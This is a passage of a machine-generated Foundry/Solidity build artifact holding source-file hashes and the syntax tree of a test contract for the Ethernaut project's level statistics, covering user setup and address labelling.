Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/metrics/Level.t.sol":{"keccak256":"0xca43c4a7590e63a7e85860934c46884ae0192b2aea6cc5777cd704132f1fd28b","urls":["bzz-raw://24ee95616757dea60102d326f36f594c685969d77d6db824e6723a2286f87b4a","dweb:/ipfs/QmX1a7pLKLXv6U1KVpwagiRD1cTEz6LKV21ACtTFrf7eYy"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/metrics/Level.t.sol","id":65890,"exportedSymbols":{"Statistics":[56450],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestLevel":[65889],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:3879:152","nodes":[{"id":65485,"nodeType":"PragmaDirective","src":"32:23:152","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":65486,"nodeType":"ImportDirective","src":"57:28:152","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":65890,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":65488,"nodeType":"ImportDirective","src":"86:43:152","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":65890,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":65487,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:152","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":65490,"nodeType":"ImportDirective","src":"131:54:152","nodes":[],"absolutePath":"src/metrics/Statistics.sol","file":"src/metrics/Statistics.sol","nameLocation":"-1:-1:-1","scope":65890,"sourceUnit":56451,"symbolAliases":[{"foreign":{"id":65489,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"139:10:152","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":65889,"nodeType":"ContractDefinition","src":"187:3723:152","nodes":[{"id":65495,"nodeType":"VariableDeclaration","src":"220:16:152","nodes":[],"constant":false,"mutability":"mutable","name":"stats","nameLocation":"231:5:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"},"typeName":{"id":65494,"nodeType":"UserDefinedTypeName","pathNode":{"id":65493,"name":"Statistics","nameLocations":["220:10:152"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"220:10:152"},"referencedDeclaration":56450,"src":"220:10:152","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"visibility":"internal"},{"id":65498,"nodeType":"VariableDeclaration","src":"243:11:152","nodes":[],"constant":false,"mutability":"mutable","name":"utils","nameLocation":"249:5:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"},"typeName":{"id":65497,"nodeType":"UserDefinedTypeName","pathNode":{"id":65496,"name":"Utils","nameLocations":["243:5:152"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"243:5:152"},"referencedDeclaration":66673,"src":"243:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"visibility":"internal"},{"id":65500,"nodeType":"VariableDeclaration","src":"261:25:152","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"277:9:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65499,"name":"address","nodeType":"ElementaryTypeName","src":"261:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65502,"nodeType":"VariableDeclaration","src":"292:20:152","nodes":[],"constant":false,"mutability":"mutable","name":"user","nameLocation":"308:4:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65501,"name":"address","nodeType":"ElementaryTypeName","src":"292:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65504,"nodeType":"VariableDeclaration","src":"318:21:152","nodes":[],"constant":false,"mutability":"mutable","name":"user2","nameLocation":"334:5:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65503,"name":"address","nodeType":"ElementaryTypeName","src":"318:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65506,"nodeType":"VariableDeclaration","src":"345:31:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_factory_1","nameLocation":"361:15:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65505,"name":"address","nodeType":"ElementaryTypeName","src":"345:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65508,"nodeType":"VariableDeclaration","src":"382:31:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_factory_2","nameLocation":"398:15:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65507,"name":"address","nodeType":"ElementaryTypeName","src":"382:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65510,"nodeType":"VariableDeclaration","src":"419:31:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_factory_3","nameLocation":"435:15:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65509,"name":"address","nodeType":"ElementaryTypeName","src":"419:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65512,"nodeType":"VariableDeclaration","src":"456:32:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_1","nameLocation":"472:16:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65511,"name":"address","nodeType":"ElementaryTypeName","src":"456:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65514,"nodeType":"VariableDeclaration","src":"494:32:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_2","nameLocation":"510:16:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65513,"name":"address","nodeType":"ElementaryTypeName","src":"494:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65516,"nodeType":"VariableDeclaration","src":"532:32:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_3","nameLocation":"548:16:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65515,"name":"address","nodeType":"ElementaryTypeName","src":"532:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65518,"nodeType":"VariableDeclaration","src":"570:32:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_4","nameLocation":"586:16:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65517,"name":"address","nodeType":"ElementaryTypeName","src":"570:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65520,"nodeType":"VariableDeclaration","src":"608:32:152","nodes":[],"constant":false,"mutability":"mutable","name":"level_instance_5","nameLocation":"624:16:152","scope":65889,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":65519,"name":"address","nodeType":"ElementaryTypeName","src":"608:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":65695,"nodeType":"FunctionDefinition","src":"827:1127:152","nodes":[],"body":{"id":65694,"nodeType":"Block","src":"851:1103:152","nodes":[],"statements":[{"expression":{"id":65528,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65523,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65498,"src":"861:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":65526,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"869:9:152","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Utils_$66673_$","typeString":"function () returns (contract Utils)"},"typeName":{"id":65525,"nodeType":"UserDefinedTypeName","pathNode":{"id":65524,"name":"Utils","nameLocations":["873:5:152"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"873:5:152"},"referencedDeclaration":66673,"src":"873:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}}},"id":65527,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"869:11:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"src":"861:19:152","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":65529,"nodeType":"ExpressionStatement","src":"861:19:152"},{"assignments":[65532],"declarations":[{"constant":false,"id":65532,"mutability":"mutable","name":"users","nameLocation":"915:5:152","nodeType":"VariableDeclaration","scope":65694,"src":"890:30:152","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":65530,"name":"address","nodeType":"ElementaryTypeName","src":"890:15:152","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65531,"nodeType":"ArrayTypeName","src":"890:17:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":65537,"initialValue":{"arguments":[{"hexValue":"3131","id":65535,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"941:2:152","typeDescriptions":{"typeIdentifier":"t_rational_11_by_1","typeString":"int_const 11"},"value":"11"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_11_by_1","typeString":"int_const 11"}],"expression":{"id":65533,"name":"utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65498,"src":"923:5:152","typeDescriptions":{"typeIdentifier":"t_contract$_Utils_$66673","typeString":"contract Utils"}},"id":65534,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"929:11:152","memberName":"createUsers","nodeType":"MemberAccess","referencedDeclaration":66448,"src":"923:17:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) external returns (address payable[] memory)"}},"id":65536,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"923:21:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"890:54:152"},{"expression":{"id":65542,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65538,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65500,"src":"955:9:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65539,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"967:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65541,"indexExpression":{"hexValue":"30","id":65540,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"973:1:152","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"967:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"955:20:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65543,"nodeType":"ExpressionStatement","src":"955:20:152"},{"expression":{"arguments":[{"id":65547,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"994:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"45746865726e617574","id":65548,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1000:11:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_4c860d3874a96a95d35e7dab3b1cb409c8b1ff402b8f8d71d9fff8e2a9b66091","typeString":"literal_string \"Ethernaut\""},"value":"Ethernaut"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_4c860d3874a96a95d35e7dab3b1cb409c8b1ff402b8f8d71d9fff8e2a9b66091","typeString":"literal_string \"Ethernaut\""}],"expression":{"id":65544,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"985:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65546,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"988:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"985:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"985:27:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65550,"nodeType":"ExpressionStatement","src":"985:27:152"},{"expression":{"id":65555,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65551,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"1023:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65552,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1030:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65554,"indexExpression":{"hexValue":"31","id":65553,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1036:1:152","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1030:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1023:15:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65556,"nodeType":"ExpressionStatement","src":"1023:15:152"},{"expression":{"arguments":[{"id":65560,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65502,"src":"1057:4:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"55736572","id":65561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1063:6:152","typeDescriptions":{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""},"value":"User"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""}],"expression":{"id":65557,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1048:2:152","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65559,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1051:5:152","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1048:8:152","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1048:22:152","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65563,"nodeType":"ExpressionStatement","src":"1048:22:152"},{"expression":{"id":65568,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65564,"name":"user2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65504,"src":"1081:5:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65565,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65532,"src":"1089:5:152","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65567,"indexExpression":{"hexValue":"32","id":65566,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1095:1:152","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1089:8:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1081:16:152","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address 